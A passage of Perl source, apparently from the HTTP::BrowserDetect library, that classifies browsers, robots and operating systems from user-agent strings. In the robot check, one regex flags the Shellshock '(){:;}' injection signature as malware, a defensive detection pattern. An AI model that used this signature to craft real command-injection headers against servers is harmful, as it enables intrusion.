'Firefox OS', ios => 'iOS', linux => 'Linux', mac => 'Mac', macosx => 'Mac OS X', os2 => 'OS/2', ps3gameos => 'Playstation 3 GameOS', pspgameos => 'Playstation Portable GameOS', rimtabletos => 'RIM Tablet OS', unix => 'Unix', vms => 'VMS', win2k => 'Win2k', win2k3 => 'Win2k3', win3x => 'Win3x', win7 => 'Win7', win8 => 'Win8', win8_0 => 'Win8.0', win8_1 => 'Win8.1', win10 => 'Win10', win10_0 => 'Win10.0', win95 => 'Win95', win98 => 'Win98', winme => 'WinME', winnt => 'WinNT', winphone => 'Windows Phone', winvista => 'WinVista', winxp => 'WinXP', ); # Safari build -> version map for versions prior to 3.0 # (since then, version appears in the user-agent string) my %safari_build_to_version = qw( 48 0.8 51 0.8.1 60 0.8.2 73 0.9 74 1.0b2v74 85 1.0 85.7 1.0.2 85.8 1.0.3 100 1.1 100.1 1.1.1 125 1.2 125.1 1.2.1 125.7 1.2.2 125.9 1.2.3 125.11 1.2.4 312 1.3 312.3 1.3.1 312.5 1.3.2 412 2.0 412.5 2.0.1 416.12 2.0.2 417.8 2.0.3 419.3 2.0.4 ); ####################################################################################################### # BROWSER OBJECT my $default = undef; sub new { my ( $class, $user_agent ) = @_; my $self = {}; bless $self, $class; unless ( defined $user_agent ) { $user_agent = $ENV{'HTTP_USER_AGENT'}; } $self->{user_agent} = defined $user_agent ? $user_agent : q{}; $self->_init_core; return $self; } ### Accessors for computed-on-demand test attributes foreach my $test ( @ENGINE_TESTS, @MISC_TESTS ) { no strict 'refs'; *{$test} = sub { my ($self) = @_; return $self->{tests}->{$test} || 0; }; } foreach my $test ( @OS_TESTS, @WINDOWS_TESTS, @MAC_TESTS, @UNIX_TESTS, @BSD_TESTS, @GAMING_TESTS ) { no strict 'refs'; *{$test} = sub { my ($self) = @_; $self->_init_os() unless $self->{os_tests}; return $self->{os_tests}->{$test} || 0; }; } foreach my $test ( @BROWSER_TESTS, @FIREFOX_TESTS ) { no strict 'refs'; *{$test} = sub { my ($self) = @_; return $self->{browser_tests}->{$test} || 0; }; } foreach my $test (@OLD_ROBOT_TESTS) { no strict 'refs'; # For the 'robot' test, we return undef instead of 0 if it's # false, to match os() and browser() and the like. my $false_result = ( $test eq 'robot' ? undef : 0 ); *{$test} = sub { my ($self) = @_; $self->_init_robots() unless $self->{robot_tests}; return $self->{robot_tests}->{$test} || $false_result; }; } foreach my $test ( @NETSCAPE_TESTS, @IE_TESTS, @AOL_TESTS, @OPERA_TESTS ) { no strict 'refs'; *{$test} = sub { my ($self) = @_; $self->_init_version() unless $self->{version_tests}; return $self->{version_tests}->{$test} || 0; }; } foreach my $test (@DEVICE_TESTS) { no strict 'refs'; *{$test} = sub { my ($self) = @_; $self->_init_device() unless $self->{device_tests}; return $self->{device_tests}->{$test} || 0; }; } sub user_agent { my ( $self, $user_agent ) = @_; if ( defined($user_agent) ) { die 'Calling HTTP::BrowserDetect::user_agent() with an argument is no longer allowed; please use new().'; } else { return $self->{user_agent}; } } ### Code for initializing various pieces of the object. Since it would ### be needlessly slow if we examined every user agent for every piece ### of information we might possibly need, we only initialize things ### when they're actually queried about. Specifically: ### ### _init_core() sets up: ### $self->{browser_tests} ### $self->{browser} ### $self->{browser_string} ### $self->{tests} ### $self->{engine_version} ### $self->{realplayer_version} ### ### _init_version() sets up: ### $self->{version_tests} ### $self->{major} ### $self->{minor} ### $self->{beta} ### $self->{realplayer_version} ### ### _init_os() sets up: ### $self->{os} ### $self->{os_string} ### $self->{os_tests} ### $self->{os_version} ### ### _init_os_version() sets up: ### $self->{os_version} ### ### _init_device() sets up: ### $self->{device_tests} ### $self->{device} ### $self->{device_string} ### ### _init_robots() sets up: ### $self->{robot} ### $self->{robot_tests} ### $self->{robot_string} ### $self->{robot_version} ### # Private method -- Set up the basics (browser and misc attributes) # for a new user-agent string sub _init_core { my ( $self, $new_ua ) = @_; my $ua = lc $self->{user_agent}; # any UA via Google Translate gets this appended $ua =~ s{,gzip\(gfe\)\z}{}; # These get filled in immediately $self->{tests} = {}; $self->{browser_tests} = {}; my $tests = $self->{tests}; my $browser_tests = $self->{browser_tests}; my $browser = undef; my $browser_string = undef; # Detect engine $self->{engine_version} = undef; if ( $ua =~ m{edge/([\d.]+)$} ) { $tests->{edgehtml} = 1; $self->{engine_version} = $1; } elsif ( $ua =~ /trident\/([\w\.\d]*)/ ) { $tests->{trident} = 1; $self->{engine_version} = $1; } elsif ( index( $ua, 'gecko' ) != -1 && index( $ua, 'like gecko' ) == -1 ) { $tests->{gecko} = 1; if ( $ua =~ /\([^)]*rv:([\w.\d]*)/ ) { $self->{engine_version} = $1; } } elsif ( $ua =~ m{applewebkit/([\d.\+]+)} ) { $tests->{webkit} = 1; $self->{engine_version} = $1; } elsif ( $ua =~ m{presto/([\d.]+)} ) { $tests->{presto} = 1; $self->{engine_version} = $1; } elsif ( $ua =~ m{khtml/([\d.]+)} ) { $tests->{khtml} = 1; $self->{engine_version} = $1; } # Detect browser if ( index( $ua, 'galeon' ) != -1 ) { # Needs to go above firefox $browser = 'galeon'; $browser_tests->{galeon} = 1; } elsif ( index( $ua, 'epiphany' ) != -1 ) { # Needs to go above firefox + mozilla $browser = 'epiphany'; $browser_tests->{epiphany} = 1; } elsif ( $ua =~ m{^mozilla/.+windows (?:nt|phone) \d{2}\.\d+;?.+ applewebkit/.+ chrome/.+ safari/.+ edge/[\d.]+$} ) { $browser = 'edge'; $browser_string = 'Edge'; $browser_tests->{edge} = 1; } elsif ( $ua =~ m{ (firebird|iceweasel|phoenix|namoroka|firefox) \/ ( [^.]* ) # Major version number is everything before first dot \. # The first dot ( [\d]* ) # Minor version nnumber is digits after first dot }xo && index( $ua, 'not firefox' ) == -1 ) # Hack for Yahoo Slurp { # Browser is Firefox, possibly under an alternate name $browser = 'firefox'; $browser_string = ucfirst $1; $browser_tests->{$1} = 1; $browser_tests->{firefox} = 1; } elsif ( $ua =~ m{opera|opr\/} ) { # Browser is Opera $browser = 'opera'; $browser_tests->{opera} = 1; } elsif ($tests->{trident} || index( $ua, 'msie' ) != -1 || index( $ua, 'microsoft internet explorer' ) != -1 ) { # Browser is MSIE (possibly AOL branded) $browser = 'ie'; $browser_tests->{ie} = 1; if ( index( $ua, 'aol' ) != -1 || index( $ua, 'america online browser' ) != -1 ) { $browser_string = 'AOL Browser'; $browser_tests->{aol} = 1; } # Disabled for now -- need to figure out how to deal with version numbers #elsif ( index ( $ua, 'acoobrowser' ) != -1 ) { # $browser_string = 'Acoo Browser'; #} #elsif ( index( $ua, 'avant' ) != -1 ) { # $browser_string = 'Avant Browser'; #} #elsif ( index( $ua, 'crazy browser' ) != -1 ) { # $browser_string = 'Crazy Browser'; #} #elsif ( index( $ua, 'deepnet explorer' ) != -1 ) { # $browser_string = 'Deepnet Explorer'; #} #elsif ( index( $ua, 'maxthon' ) != -1 ) { # $browser_string = 'Maxthon'; #} } elsif ( index( $ua, 'brave' ) != -1 ) { # Has to go above Chrome, it includes 'like Chrome/' $browser = 'brave'; $browser_tests->{$browser} = 1; } elsif ( index( $ua, 'silk' ) != -1 ) { # Has to go above Chrome, it includes 'like Chrome/' $browser = 'silk'; $browser_tests->{$browser} = 1; } elsif (index( $ua, 'chrome/' ) != -1 || index( $ua, 'crios' ) != -1 ) { # Browser is Chrome $browser = 'chrome'; $browser_tests->{chrome} = 1; if ( index( $ua, 'chromium' ) != -1 ) { $browser_string = 'Chromium'; } } elsif (index( $ua, 'blackberry' ) != -1 || index( $ua, 'bb10' ) != -1 || index( $ua, 'rim tablet os' ) != -1 ) { # Has to go above Safari $browser = 'blackberry'; # test gets set during device check } elsif ( index( $ua, 'ucbrowser' ) != -1 ) { # Has to go above both Safari and Mozilla $browser = 'ucbrowser'; $browser_tests->{$browser} = 1; } elsif (( index( $ua, 'safari' ) != -1 ) || ( index( $ua, 'applewebkit' ) != -1 ) ) { # Browser is Safari $browser_tests->{safari} = 1; $browser = 'safari'; if ( index( $ua, ' mobile safari/' ) != -1 || index( $ua, 'mobilesafari' ) != -1 ) { $browser_string = 'Mobile Safari'; $browser_tests->{mobile_safari} = 1; } if ( index( $ua, 'puffin' ) != -1 ) { $browser_string = 'Puffin'; } } elsif ( index( $ua, 'neoplanet' ) != -1 ) { # Browser is Neoplanet $browser = 'ie'; $browser_tests->{$browser} = 1; $browser_tests->{neoplanet} = 1; $browser_tests->{neoplanet2} = 1 if ( index( $ua, '2.' ) != -1 ); } ## The following browsers all need to be tested for *before* ## Mozilla, otherwise we'll think they are Mozilla because they ## look very much like it. elsif ( index( $ua, 'webtv' ) != -1 ) { $browser = 'webtv'; $browser_tests->{$browser} = 1; } elsif ( index( $ua, 'nintendo 3ds' ) != -1 ) { $browser = 'n3ds'; # Test gets set during device check } elsif ( index( $ua, 'nintendo dsi' ) != -1 ) { $browser = 'dsi'; # Test gets set during device check } elsif (index( $ua, 'playstation 3' ) != -1 || index( $ua, 'playstation portable' ) != -1 || index( $ua, 'netfront' ) != -1 ) { $browser = 'netfront'; $browser_tests->{$browser} = 1; } elsif ( index( $ua, 'browsex' ) != -1 ) { $browser = 'browsex'; $browser_tests->{$browser} = 1; } elsif ( index( $ua, 'polaris' ) != -1 ) { $browser = 'polaris'; $browser_tests->{$browser} = 1; } ## At this point if it looks like Mozilla but we haven't found ## anything else for it to be, it's probably Mozilla. elsif (index( $ua, 'mozilla' ) != -1 && index( $ua, 'compatible' ) == -1 ) { # Browser is a Gecko-powered Netscape (i.e. Mozilla) version $browser = 'mozilla'; if ( index( $ua, 'netscape' ) != -1 || !$tests->{gecko} ) { $browser = 'netscape'; } elsif ( index( $ua, 'seamonkey' ) != -1 ) { $browser = 'seamonkey'; } $browser_tests->{$browser} = 1; $browser_tests->{netscape} = 1; $browser_tests->{mozilla} = ( $tests->{gecko} ); } ## Long series of unlikely browsers (ones that don't look like Mozilla) elsif ( index( $ua, 'staroffice' ) != -1 ) { $browser = 'staroffice'; $browser_tests->{$browser} = 1; } elsif ( index( $ua, 'icab' ) != -1 ) { $browser = 'icab'; $browser_tests->{$browser} = 1; } elsif ( index( $ua, 'lotus-notes' ) != -1 ) { $browser = 'lotusnotes'; $browser_tests->{$browser} = 1; } elsif ( index( $ua, 'konqueror' ) != -1 ) { $browser = 'konqueror'; $browser_tests->{$browser} = 1; } elsif ( index( $ua, 'lynx' ) != -1 ) { $browser = 'lynx'; $browser_tests->{$browser} = 1; } elsif ( index( $ua, 'elinks' ) != -1 ) { $browser = 'elinks'; $browser_tests->{$browser} = 1; } elsif ( index( $ua, 'links' ) != -1 ) { $browser = 'links'; $browser_tests->{$browser} = 1; } elsif ( index( $ua, 'mosaic' ) != -1 ) { $browser = 'mosaic'; $browser_tests->{$browser} = 1; } elsif ( index( $ua, 'emacs' ) != -1 ) { $browser = 'emacs'; $browser_tests->{$browser} = 1; } elsif ( index( $ua, 'obigo' ) != -1 ) { $browser = 'obigo'; $browser_tests->{$browser} = 1; } elsif ( index( $ua, 'teleca' ) != -1 ) { $browser = 'obigo'; $browser_string = 'Teleca'; $browser_tests->{$browser} = 1; } elsif ( index( $ua, 'libcurl' ) != -1 || $ua =~ /^curl/ ) { $browser = 'curl'; # Test gets set during robot check } elsif ( index( $ua, 'puf/' ) != -1 ) { $browser = 'puf'; # Test gets set during robot check } elsif ( index( $ua, 'applecoremedia/' ) != -1 ) { $browser = 'applecoremedia'; $browser_tests->{$browser} = 1; } elsif ( index( $ua, 'androiddownloadmanager' ) != -1 ) { $browser = 'adm'; $browser_tests->{$browser} = 1; } elsif ( index( $ua, 'dalvik' ) != -1 ) { $browser = 'dalvik'; $browser_tests->{$browser} = 1; } elsif ( index( $ua, 'apple-pubsub' ) != -1 ) { $browser = 'pubsub'; $browser_tests->{$browser} = 1; } elsif ( index( $ua, 'imagesearcherpro' ) != -1 ) { $browser = 'imagesearcherpro'; $browser_tests->{$browser} = 1; } $self->{browser} = $browser; $self->{browser_string} = $browser_string || $BROWSER_NAMES{$browser} if defined($browser); # Other random tests $tests->{x11} = 1 if index( $ua, 'x11' ) != -1; $tests->{dotnet} = 1 if index( $ua, '.net clr' ) != -1; if ( index( $ua, 'realplayer' ) != -1 ) { # Hack for Realplayer -- fix the version and 'real' browser $self->_init_version; # Set appropriate tests for whatever the 'real' # browser is. # Now set the browser to Realplayer. $self->{browser} = 'realplayer'; $self->{browser_string} = 'RealPlayer'; $browser_tests->{realplayer} = 1; # Now override the version with the Realplayer version (but leave # alone the tests we already set, which might have been based on the # 'real' browser's version). $self->{realplayer_version} = undef; if ( $ua =~ /realplayer\/([\d+\.]+)/ ) { $self->{realplayer_version} = $1; ( $self->{major}, $self->{minor} ) = split( /\./, $self->{realplayer_version} ); $self->{minor} = ".$self->{minor}" if defined( $self->{minor} ); } elsif ( $ua =~ /realplayer\s(\w+)/ ) { $self->{realplayer_version} = $1; } } if ( index( $ua, '(r1 ' ) != -1 ) { # Realplayer plugin -- don't override browser but do set property $browser_tests->{realplayer} = 1; } } # Any of these fragments within a user-agent generally indicates it's # a robot. my @ROBOT_FRAGMENTS = qw( agent analy appender babya checker bot copy crawl explorador fetch find ia_archive index netcraft reap resolver sleuth scan service spider thumbtack-thunderdome tiscali validator verif webcapture worm zyborg ); sub _init_robots { my $self = shift; my $ua = lc $self->{user_agent}; my $tests = $self->{tests}; my $browser_tests = $self->{browser_tests}; my $robot_tests = $self->{robot_tests} = {}; my $id; my $r; my $robot_fragment; # The text that indicates it's a robot (we'll # use this later to detect robot version, and # maybe robot_string) if ( index( $ua, 'libwww-perl' ) != -1 || index( $ua, 'lwp-' ) != -1 ) { $r = 'lwp'; $robot_tests->{lib} = 1; $robot_fragment = ( ( index( $ua, 'libwww-perl' ) != -1 ) ? 'libwww-perl' : 'lwp-' ); } elsif ( index( $ua, 'slurp' ) != -1 ) { $r = 'slurp'; $robot_tests->{yahoo} = 1; } elsif (index( $ua, 'yahoo' ) != -1 && index( $ua, 'jp.co.yahoo.android' ) == -1 ) { $r = 'yahoo'; } elsif ( index( $ua, 'msnbot-mobile' ) != -1 ) { $r = 'msnmobile'; $robot_tests->{msn} = 1; $robot_fragment = 'msnbot'; } elsif ( index( $ua, 'bingbot-mobile' ) != -1 ) { $r = 'bingbot'; $robot_tests->{bingbot} = 1; $robot_fragment = 'bingbot'; } elsif ( index( $ua, 'msnbot' ) != -1 ) { $r = 'msn'; $robot_fragment = 'msnbot'; } elsif (index( $ua, 'binglocalsearch' ) != -1 || index( $ua, 'bingbot' ) != -1 ) { $r = 'bingbot'; $robot_tests->{bingbot} = 1; $robot_fragment = 'bingbot'; } elsif ( index( $ua, 'microsoft office existence discovery' ) != -1 ) { $r = 'msoffice'; $robot_fragment = 'office'; } elsif ( index( $ua, 'ahrefsbot' ) != -1 ) { $r = 'ahrefs'; } elsif ( index( $ua, 'altavista' ) != -1 ) { $r = 'altavista'; } elsif ( index( $ua, 'apache-httpclient' ) != -1 ) { $r = 'apache'; } elsif ( $ua =~ m{\( *\) *\{ *\: *\; *} ) { # Shellcode for spawning a process, i.e. (){:;} with some kind of whitespace interleaved $r = 'malware'; } elsif ( index( $ua, 'ask jeeves/teoma' ) != -1 ) { $r = 'askjeeves'; $robot_fragment = 'teoma'; } elsif ( index( $ua, 'baiduspider' ) != -1 ) { $r = 'baidu'; } elsif ( index( $ua, 'libcurl' ) != -1 || $ua =~ /^curl/ ) { $r = 'curl'; $robot_tests->{lib} = 1; } elsif ( index( $ua, 'facebookexternalhit' ) != -1 ) { $r = 'facebook'; } elsif ( index( $ua, 'getright' ) != -1 ) { $r = 'getright'; } elsif ( index( $ua, 'adsbot-google' ) != -1 ) { $r = 'googleadsbot'; $robot_tests->{google} = 1; $robot_fragment = 'adsbot-google'; } elsif ( index( $ua, 'mediapartners-google' ) != -1 ) { $r = 'googleadsense'; $robot_tests->{google} = 1; $robot_fragment = 'mediapartners-google'; } elsif ( index( $ua, 'google favicon' ) != -1 ) { $r = 'googlefavicon'; $robot_tests->{google} = 1; $robot_fragment = 'favicon'; } elsif ( index( $ua, 'googlebot-image' ) != -1 ) { $r = 'googlebotimage'; $robot_tests->{google} = 1; $robot_fragment = 'googlebot-image'; } elsif ( index( $ua, 'googlebot-news' ) != -1 ) { $r = 'googlebotnews'; $robot_tests->{google} = 1; $robot_fragment = 'googlebot-news'; } elsif ( index( $ua, 'googlebot-video' ) != -1 ) { $r = 'googlebotvideo'; $robot_tests->{google} = 1; $robot_fragment = 'googlebot-video'; } elsif ( index( $ua, 'googlebot-mobile' ) != -1 ) { $r = 'googlemobile'; $robot_tests->{google} = 1; $robot_fragment = 'googlebot-mobile'; } elsif ( index( $ua, 'googlebot' ) != -1 ) { $r = 'google'; } elsif ( $ua =~ m{go.*package http} ) { $r = 'golib'; $robot_tests->{lib} = 1; $robot_fragment = 'package'; } elsif ( $ua =~ m{^http_request} ) { $r = 'phplib'; $robot_tests->{lib} = 1; $robot_fragment = 'http_request'; } elsif ( $ua =~ m{^http_request} ) { $r = 'phplib'; $robot_tests->{lib} = 1; } elsif ( index( $ua, 'indy library' ) != -1 ) { $r = 'indy'; $robot_tests->{lib} = 1; } elsif ( index( $ua, 'infoseek' ) != -1 ) { $r = 'infoseek'; } elsif ( index( $ua, 'ips-agent' ) != -1 ) { $r = 'ipsagent'; $robot_fragment = 'ips-agent'; } elsif ( index( $ua, 'lecodechecker' ) != -1 ) { $r = 'linkexchange'; $robot_fragment = 'lecodechecker'; } elsif ( index( $ua, 'linkchecker' ) != -1 ) { $r = 'linkchecker'; } elsif ( index( $ua, 'lycos' ) != -1 ) { $r = 'lycos'; } elsif ( index( $ua, 'mechanize' ) != -1 ) { $r = 'rubylib'; $robot_tests->{lib} = 1; $robot_fragment = 'mechanize'; } elsif ( index( $ua, 'mj12bot/' ) != -1 ) { $r = 'mj12bot'; } elsif ( index( $ua, 'nutch' ) != -1 ) { $r = 'nutch'; } elsif ( index( $ua, 'puf/' ) != -1 ) { $r = 'puf'; $robot_tests->{lib} = 1; } elsif ( index( $ua, 'scooter' ) != -1 ) { $r = 'scooter'; } elsif ( index( $ua, 'special_archiver' ) != -1 ) { $r = 'specialarchiver'; $robot_fragment = 'special_archiver'; } elsif ( index( $ua, 'wget' ) == 0 ) { $r = 'wget'; } elsif ( index( $ua, 'yandexbot' ) != -1 ) { $r = 'yandex'; } elsif ( index( $ua, 'yandeximages' ) != -1 ) { $r = 'yandeximages'; } elsif ( $ua =~ m{^java} && !$self->{browser} ) { $r = 'java'; $robot_tests->{lib} = 1; } elsif ( index( $ua, 'jdk' ) != -1 ) { $r = 'java'; $robot_tests->{lib} = 1; $robot_fragment = 'jdk'; } elsif ( index( $ua, 'jakarta commons-httpclient' ) != -1 ) { $r = 'java'; $robot_tests->{lib} = 1; $robot_fragment = 'jakarta'; } elsif ( index( $ua, 'google-http-java-client' ) != -1 ) { $r = 'java'; $robot_tests->{lib} = 1; $robot_fragment = 'google'; } # These @ROBOT_TESTS were added in 3.15. Some of them may need more # individualized treatment, but get them identified as bots for now. # XXX else { TEST: for my $set (@ROBOT_TESTS) { my $match = lc $set->[0]; if ( index( $ua, lc($match) ) != -1 ) { $id = $set->[1]; $r = $id; $robot_fragment = lc $match; last TEST; } } } if ( $browser_tests->{applecoremedia} || $browser_tests->{dalvik} || $browser_tests->{adm} ) { $robot_tests->{lib} = 1; } if ($r) { # Got a named robot $robot_tests->{$r} = 1; if ( !$id ) { $id = $ROBOT_IDS{$r}; } if ( !exists $robot_tests->{robot_id} ) { $robot_tests->{robot_id} = $id; } # This isn't all keyed on ids (yet) $self->{robot_string} = $ROBOT_NAMES{$id} || $ROBOT_NAMES{$r}; $robot_tests->{robot} = $r; $robot_fragment = $r if !defined($robot_fragment); } elsif ( $ua =~ /seek (?! mo (?: toolbar )? \s+ \d+\.\d+ )/x ) { # Store the fragment for later, to determine full name $robot_fragment = 'seek'; $robot_tests->{robot} = 'unknown'; } elsif ( $ua =~ /search (?! [\w\s]* toolbar \b | bar \b | erpro \b )/x ) { # Store the fragment for later, to determine full name $robot_fragment = 'search'; $robot_tests->{robot} = 'unknown'; } elsif ( $self->{user_agent} =~ /([\w \/\.\-]+)[ \;\(\)]*\+https?\:/i ) { # Something followed by +http $self->{robot_string} = $1; $self->{robot_string} =~ s/^ *(.+?)[ \;\(\)]*?( *\/[\d\.]+ *)?$/$1/; $robot_fragment = $1; $robot_tests->{robot} = 'unknown'; } else { # See if we have a simple fragment for my $fragment (@ROBOT_FRAGMENTS) { if ( index( $ua, $fragment ) != -1 ) { $robot_fragment = $fragment; $robot_tests->{robot} = 'unknown'; last; } } } if ( exists $robot_tests->{robot} && $robot_tests->{robot} eq 'unknown' ) { $robot_tests->{robot_id} = 'unknown'; } if ( defined($robot_fragment) ) { # Examine what surrounds the fragment; that leads us to the # version and the string (if we haven't explicitly set one). if ( $self->{user_agent} =~ m{\s* # Beginning whitespace ([\w .:,\-\@\/]* # Words before fragment $robot_fragment # Match the fragment [\w .:,\-\@\/]*) # Words after fragment }ix ) { my $full_string = $1; $full_string =~ s/ *$//; # Trim whitespace at end if ( $self->{user_agent} eq $full_string && $self->{user_agent} =~ m{\/.*\/} && $self->{user_agent} =~ m{ ([\w]* # Words before fragment $robot_fragment # Match the fragment (\/[\d\.]+)? # Version [\w]*) # Beta stuff }ix ) { # We matched the whole string, but it seems to # make more sense as whitespace-separated # 'thing/ver' tokens $full_string = $1; } # Figure out robot version based on the string if ( $full_string and $full_string =~ s/[\/ \.v]*(\d+)(\.\d+)?([\.\w]*)$// ) { $self->{robot_version} = [ $1, $2, $3 ]; } else { $self->{robot_version} = undef; } # Set robot_string, if we don't already have an explictly set # one if ( !defined( $self->{robot_string} ) ) { $self->{robot_string} = $full_string; } } } if ( !exists( $self->{robot_version} ) ) { $self->{robot_version} = undef; } } ### OS tests, only run on demand sub _init_os { my $self = shift; my $tests = $self->{tests}; my $browser_tests = $self->{browser_tests}; my $ua = lc $self->{user_agent}; my $os_tests = $self->{os_tests} = {}; my $os = undef; my $os_string = undef; # Windows if ( index( $ua, '16bit' ) != -1 ) { $os = 'windows'; $os_string = '16-bit Windows'; $os_tests->{win16} = $os_tests->{windows} = 1; } if ( index( $ua, 'win' ) != -1 ) { if ( index( $ua, 'win16' ) != -1 || index( $ua, 'windows 3' ) != -1 || index( $ua, 'windows 16-bit' ) != -1 ) { $os_tests->{win16} = 1; $os_tests->{win3x} = 1; $os = 'windows'; if ( index( $ua, 'windows 3.1' ) != -1 ) { $os_tests->{win31} = 1; $os_string = 'Win3x'; # FIXME bug compatibility } else { $os_string = 'Win3x'; } } elsif (index( $ua, 'win95' ) != -1 || index( $ua, 'windows 95' ) != -1 ) { $os = 'windows'; $os_string = 'Win95'; $os_tests->{win95} = $os_tests->{win32} = 1; } elsif ( index( $ua, 'win 9x 4.90' ) != -1 # whatever || index( $ua, 'windows me' ) != -1 ) { $os = 'windows'; $os_string = 'WinME'; $os_tests->{winme} = $os_tests->{win32} = 1; } elsif (index( $ua, 'win98' ) != -1 || index( $ua, 'windows 98' ) != -1 ) { $os = 'windows'; $os_string = 'Win98'; $os_tests->{win98} = $os_tests->{win32} = 1; } elsif ( index( $ua, 'windows 2000' ) != -1 ) { $os = 'windows'; $os_string = 'Win2k'; $os_tests->{win2k} = $os_tests->{winnt} = $os_tests->{win32} = 1; } elsif ( index( $ua, 'windows ce' ) != -1 ) { $os = 'windows'; $os_string = 'WinCE'; $os_tests->{wince} = 1; } elsif ( index( $ua, 'windows phone' ) != -1 ) { $os = 'winphone'; $os_tests->{winphone} = 1; if ( index( $ua, 'windows phone os 7.0' ) != -1 ) { $os_tests->{winphone7} = 1; } elsif ( index( $ua, 'windows phone os 7.5' ) != -1 ) { $os_tests->{winphone7_5} = 1; } elsif ( index( $ua, 'windows phone 8.0' ) != -1 ) { $os_tests->{winphone8} = 1; } elsif ( index( $ua, 'windows phone 8.1' ) != -1 ) { $os_tests->{winphone8_1} = 1; } elsif ( index( $ua, 'windows phone 10.0' ) != -1 ) { $os_tests->{winphone10} = 1; } } } if ( index( $ua, 'nt' ) != -1 ) { if ( index( $ua, 'nt 5.0' ) != -1 || index( $ua, 'nt5' ) != -1 ) { $os = 'windows'; $os_string = 'Win2k'; $os_tests->{win2k} = $os_tests->{winnt} = $os_tests->{win32} = 1; } elsif ( index( $ua, 'nt 5.1' ) != -1 ) { $os = 'windows'; $os_string = 'WinXP'; $os_tests->{winxp} = $os_tests->{winnt} = $os_tests->{win32} = 1; } elsif ( index( $ua, 'nt 5.2' ) != -1 ) { $os = 'windows'; $os_string = 'Win2k3'; $os_tests->{win2k3} = $os_tests->{winnt} = $os_tests->{win32} = 1; } elsif ( index( $ua, 'nt 6.0' ) != -1 ) { $os = 'windows'; $os_string = 'WinVista'; $os_tests->{winvista} = $os_tests->{winnt} = $os_tests->{win32} = 1; } elsif ( index( $ua, 'nt 6.1' ) != -1 ) { $os = 'windows'; $os_string = 'Win7'; $os_tests->{win7} = $os_tests->{winnt} = $os_tests->{win32} = 1; } elsif ( index( $ua, 'nt 6.2' ) != -1 ) { $os = 'windows'; $os_string = 'Win8.0'; $os_tests->{win8_0} = $os_tests->{win8} = $os_tests->{winnt} = $os_tests->{win32} = 1; } elsif ( index( $ua, 'nt 6.3' ) != -1 ) { $os = 'windows'; $os_string = 'Win8.1'; $os_tests->{win8_1} = $os_tests->{win8} = $os_tests->{winnt} = $os_tests->{win32} = 1; } elsif ( index( $ua, 'nt 10.0' ) != -1 ) { $os = 'windows'; $os_string = 'Win10.0'; $os_tests->{win10_0} = $os_tests->{win10} = $os_tests->{winnt} = $os_tests->{win32} = 1; } elsif (index( $ua, 'winnt' ) != -1 || index( $ua, 'windows nt' ) != -1 || index( $ua, 'nt4' ) != -1 || index( $ua, 'nt3' ) != -1 ) { $os = 'windows'; $os_string = 'WinNT'; $os_tests->{winnt} = $os_tests->{win32} = 1; } } if ($os) { # windows, set through some path above $os_tests->{windows} = 1; $os_tests->{win32} = 1 if index( $ua, 'win32' ) != -1; } elsif ( index( $ua, 'macintosh' ) != -1 || index( $ua, 'mac_' ) != -1 ) { # Mac operating systems $os_tests->{mac} = 1; if ( index( $ua, 'mac os x' ) != -1 ) { $os = 'macosx'; $os_tests->{$os} = 1; } else { $os = 'mac'; } if ( index( $ua, '68k' ) != -1 || index( $ua, '68000' ) != -1 ) { $os_tests->{mac68k} = 1; } elsif ( index( $ua, 'ppc' ) != -1 || index( $ua, 'powerpc' ) != -1 ) { $os_tests->{macppc} = 1; } } elsif (index( $ua, 'ipod' ) != -1 || index( $ua, 'iphone' ) != -1 || index( $ua, 'ipad' ) != -1 ) { # iOS $os = 'ios'; $os_tests->{$os} = 1; } elsif ( index( $ua, 'android' ) != -1 ) { # Android $os = 'android'; # Test gets set in the device testing } elsif ( index( $ua, 'inux' ) != -1 ) { # Linux $os = 'linux'; $os_tests->{linux} = $os_tests->{unix} = 1; } elsif ( $tests->{x11} && index( $ua, 'cros' ) != -1 ) { # ChromeOS $os = 'chromeos'; $os_tests->{chromeos} = 1; } ## Long series of unlikely OSs elsif ( index( $ua, 'amiga' ) != -1 ) { $os = 'amiga'; $os_tests->{$os} = 1; } elsif ( index( $ua, 'os/2' ) != -1 ) { $os = 'os2'; $os_tests->{$os} = 1; } elsif ( index( $ua, 'solaris' ) != -1 ) { $os = 'unix'; $os_string = 'Solaris'; $os_tests->{sun} = $os_tests->{unix} = 1; } elsif ( index( $ua, 'samsung' ) == -1 && index( $ua, 'sun' ) != -1 ) { $os = 'unix'; $os_string = 'SunOS'; $os_tests->{sun} = $os_tests->{unix} = 1; $os_tests->{suni86} = 1 if index( $ua, 'i86' ) != -1; $os_tests->{sun4} = 1 if index( $ua, 'sunos 4' ) != -1; $os_tests->{sun5} = 1 if index( $ua, 'sunos 5' ) != -1; } elsif ( index( $ua, 'irix' ) != -1 ) { $os = 'unix'; $os_string = 'Irix'; $os_tests->{irix} = $os_tests->{unix} = 1; $os_tests->{irix5} = 1 if ( index( $ua, 'irix5' ) != -1 ); $os_tests->{irix6} = 1 if ( index( $ua, 'irix6' ) != -1 ); } elsif ( index( $ua, 'hp-ux' ) != -1 ) { $os = 'unix'; $os_string = 'HP-UX'; $os_tests->{hpux} = $os_tests->{unix} = 1; $os_tests->{hpux9} = 1 if index( $ua, '09.' ) != -1; $os_tests->{hpux10} = 1 if index( $ua, '10.' ) != -1; } elsif ( index( $ua, 'aix' ) != -1 ) { $os = 'unix'; $os_string = 'AIX'; $os_tests->{aix} = $os_tests->{unix} = 1; $os_tests->{aix1} = 1 if ( index( $ua, 'aix 1' ) != -1 ); $os_tests->{aix2} = 1 if ( index( $ua, 'aix 2' ) != -1 ); $os_tests->{aix3} = 1 if ( index( $ua, 'aix 3' ) != -1 ); $os_tests->{aix4} = 1 if ( index( $ua, 'aix 4' ) != -1 ); } elsif ( $ua =~ m{\bsco\b} || index( $ua, 'unix_sv' ) != -1 ) { $os = 'unix'; $os_string = 'SCO Unix'; $os_tests->{sco} = $os_tests->{unix} = 1; } elsif ( index( $ua, 'unix_system_v' ) != -1 ) { $os = 'unix'; $os_string = 'System V Unix'; $os_tests->{unixware} = $os_tests->{unix} = 1; } elsif ( $ua =~ m{\bncr\b} ) { $os = 'unix'; $os_string = 'NCR Unix'; $os_tests->{mpras} = $os_tests->{unix} = 1; } elsif ( index( $ua, 'reliantunix' ) != -1 ) { $os = 'unix'; $os_string = 'Reliant Unix'; $os_tests->{reliant} = $os_tests->{unix} = 1; } elsif (index( $ua, 'dec' ) != -1 || index( $ua, 'osf1' ) != -1 || index( $ua, 'declpha' ) != -1 || index( $ua, 'alphaserver' ) != -1 || index( $ua, 'ultrix' ) != -1 || index( $ua, 'alphastation' ) != -1 ) { $os = 